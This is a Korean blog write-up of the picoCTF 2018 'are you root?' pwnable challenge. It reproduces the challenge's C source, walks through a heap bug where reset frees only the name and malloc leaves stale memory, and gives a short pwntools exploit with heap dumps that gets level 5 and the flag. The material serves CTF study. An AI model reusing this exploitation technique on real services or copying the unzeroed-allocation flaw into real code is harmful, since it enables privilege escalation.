제리의 블로그

picoCTF 2018 are you root? Binary Exploit 본문

CTF/pwnable

picoCTF 2018 are you root? Binary Exploit

j3rrry 2018. 11. 2. 01:09

are you root? - Points: 550 - (Solves: 253)


Description

Can you get root access through this service and get the flag?
Connect with nc 2018shell2.picoctf.com 41208.
Source.

Hint

If only the program used calloc to zero out the memory..

auth.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

typedef enum auth_level {
  ANONYMOUS = 1,
  GUEST = 2,
  USER = 3,
  ADMIN = 4,
  ROOT = 5
} auth_level_t;

struct user {
  char *name;
  auth_level_t level;
};

void give_flag(){
  char flag[48];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  if ((fgets(flag, 48, f)) == NULL){
    puts("Couldn't read flag file.");
    exit(1);
  };

  puts(flag);
  fclose(f);
}

void menu(){
  puts("Available commands:");
  puts("\tshow - show your current user and authorization level");
  puts("\tlogin [name] - log in as [name]");
  puts("\tset-auth [level] - set your authorization level (must be below 5)");
  puts("\tget-flag - print the flag (requires authorization level 5)");
  puts("\treset - log out and reset authorization level");
  puts("\tquit - exit the program");
}

int main(int argc, char **argv){
  char buf[512];
  char *arg;
  uint32_t level;
  struct user *user;

  setbuf(stdout, NULL);

  menu();

  user = NULL;
  while(1){
    puts("\nEnter your command:");
    putchar('>'); putchar(' ');

    if(fgets(buf, 512, stdin) == NULL)
      break;

    if (!strncmp(buf, "show", 4)){
      if(user == NULL){
        puts("Not logged in.");
      }else{
        printf("Logged in as %s [%u]\n", user->name, user->level);
      }

    }else if (!strncmp(buf, "login", 5)){
      if (user != NULL){
        puts("Already logged in. Reset first.");
        continue;
      }

      arg = strtok(&buf[6], "\n");
      if (arg == NULL){
        puts("Invalid command");
        continue;
      }

      user = (struct user *)malloc(sizeof(struct user));
      if (user == NULL) {
        puts("malloc() returned NULL. Out of Memory\n");
        exit(-1);
      }
      user->name = strdup(arg);
      printf("Logged in as \"%s\"\n", arg);

    }else if(!strncmp(buf, "set-auth", 8)){
      if(user == NULL){
        puts("Login first.");
        continue;
      }

      arg = strtok(&buf[9], "\n");
      if (arg == NULL){
        puts("Invalid command");
        continue;
      }

      level = strtoul(arg, NULL, 10);

      if (level >= 5){
        puts("Can only set authorization level below 5");
        continue;
      }

      user->level = level;
      printf("Set authorization level to \"%u\"\n", level);

    }else if(!strncmp(buf, "get-flag", 8)){
      if (user == NULL){
        puts("Login first!");
        continue;
      }

      if (user->level != 5){
        puts("Must have authorization level 5.");
        continue;
      }

      give_flag();
    }else if(!strncmp(buf, "reset", 5)){
      if (user == NULL){
        puts("Not logged in!");
        continue;
      }

      free(user->name);
      user = NULL;

      puts("Logged out!");
    }else if(!strncmp(buf, "quit", 4)){
      return 0;
    }else{
      puts("Invalid option");
      menu();
    }
  }
}

분석

$ file *
auth:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
auth.c: C source, ASCII text
바이너리와 소스코드가 주어져있다.


$ ./auth
Available commands:
        show - show your current user and authorization level
        login [name] - log in as [name]
        set-auth [level] - set your authorization level (must be below 5)
        get-flag - print the flag (requires authorization level 5)
        reset - log out and reset authorization level
        quit - exit the program

Enter your command:
>
실행해보았더니
show, login, set-auth, get-flag, reset, quit
6개의 명령이 있다는 것을 알 수 있다.


    if (!strncmp(buf, "show", 4)){
      if(user == NULL){
    puts("Not logged in.");
      }else{
    printf("Logged in as %s [%u]\n", user->name, user->level);
      }
show 명령은 user의 name 과 level 을 알려준다.


    }else if (!strncmp(buf, "login", 5)){
      if (user != NULL){
    puts("Already logged in. Reset first.");
    continue;
      }

      arg = strtok(&buf[6], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      user = (struct user *)malloc(sizeof(struct user));
      if (user == NULL) {
    puts("malloc() returned NULL. Out of Memory\n");
    exit(-1);
      }
      user->name = strdup(arg);
      printf("Logged in as \"%s\"\n", arg);

    }
login 명령은 구조체 user 과 name을 힙에 할당한다.
(name 을 할당할 때에는 strdup() 함수를 사용하기 때문에 길이에 따라 할당하게 된다.)


    }else if(!strncmp(buf, "set-auth", 8)){
      if(user == NULL){
    puts("Login first.");
    continue;
      }

      arg = strtok(&buf[9], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      level = strtoul(arg, NULL, 10);

      if (level >= 5){
    puts("Can only set authorization level below 5");
    continue;
      }

      user->level = level;
      printf("Set authorization level to \"%u\"\n", level);

    }
set-auth 명령은 level 을 설정하지만
ROOT 권한(5)은 설정할 수 없도록 막아놨다.


    }else if(!strncmp(buf, "get-flag", 8)){
      if (user == NULL){
    puts("Login first!");
    continue;
      }

      if (user->level != 5){
    puts("Must have authorization level 5.");
    continue;
      }

      give_flag();
    }
get-flag 명령은 level 5 일 때만 할 수 있다.


    }else if(!strncmp(buf, "reset", 5)){
      if (user == NULL){
    puts("Not logged in!");
    continue;
      }

      free(user->name);
      user = NULL;

      puts("Logged out!");
    }
reset 명령은 user 와 name 을 정리한다.
주목해야할 점은 힙에 할당된 user 와 name 중
name 만 free 하고 있었다.


    if(fgets(buf, 512, stdin) == NULL)
      break;
입력받는 함수가 fgets 라서 0x00(NULL) 을 포함한 페이로드를 넣을 수 있다.
(그런데 0x00 고려 안해도 풀 수 있는 문제이긴 하다.)

exploit

from pwn import *

r = remote('2018shell2.picoctf.com', 41208)

r.recvuntil('> ')
r.sendline('login ' + 'A'*8 + p32(5))

r.recvuntil('> ')
r.sendline('reset')

r.recvuntil('> ')
r.sendline('login B')

r.recvuntil('> ')
r.sendline('get-flag')

r.interactive()

"login AAAAAAAA" + p32(5)

      user = (struct user *)malloc(sizeof(struct user));
      user->name = strdup(arg);

00A7C260  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C270  90 C2 A7 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00A7C280  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C290  41 41 41 41 41 41 41 41  05 00 00 00 00 00 00 00  AAAAAAAA........
00A7C2A0  00 00 00 00 00 00 00 00  61 FD 01 00 00 00 00 00  ........a.......
login 을 하게되면
user 구조체를 먼저 힙에 할당하고 (0xA7C270)
그 다음 name 을 할당한다. (0xA7C90)


"reset"

      free(user->name);

00A7C260  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C270  90 C2 A7 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00A7C280  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C290  00 00 00 00 00 00 00 00  05 00 00 00 00 00 00 00  ................
00A7C2A0  00 00 00 00 00 00 00 00  61 FD 01 00 00 00 00 00  ........a.......
reset 을 하면
힙에 할당된 user 구조체와 name 문자열 중
name 만 free 한다.


"login B"

      user = (struct user *)malloc(sizeof(struct user));
      user->name = strdup(arg);

00A7C260  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C270  90 C2 A7 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00A7C280  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C290  B0 C2 A7 00 00 00 00 00  05 00 00 00 00 00 00 00  ................
00A7C2A0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00A7C2B0  42 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  B...............
00A7C2C0  00 00 00 00 00 00 00 00  41 FD 01 00 00 00 00 00  ........A.......
다시 login 을 하게되면
free 되었던 자리에 user 구조체가 선언이되는데
0xA7C298 에 있었던 쓰레기값 5 가 user->level 가 되어
조건을 만족한다.


struct user {
  char *name;
  auth_level_t level;
};
구조체의 정의를 보면
멤버 변수 name 과 level 이 있는데
멤버 변수의 크기가 8 바이트이기 때문에 (64비트 주소값)
user 구조체의 +8 바이트에 위치한 값이 level 이 된다.
      if (user->level != 5){
    puts("Must have authorization level 5.");
    continue;
      }

      give_flag();
give_flag() 함수가 실행되면서 플래그가 나오게 된다.


'CTF > pwnable' 카테고리의 다른 글

TUCTF 2018 PWN ehh  (0) 2018.11.26
TUCTF 2018 PWN shella-easy  (0) 2018.11.26
SECCON CTF 2018 quals Classic Pwn  (0) 2018.10.28
hacklu CTF 2018 Baby Reverse  (0) 2018.10.16
picoCTF 2018 echo back Binary Exploitation  (0) 2018.10.16
Comments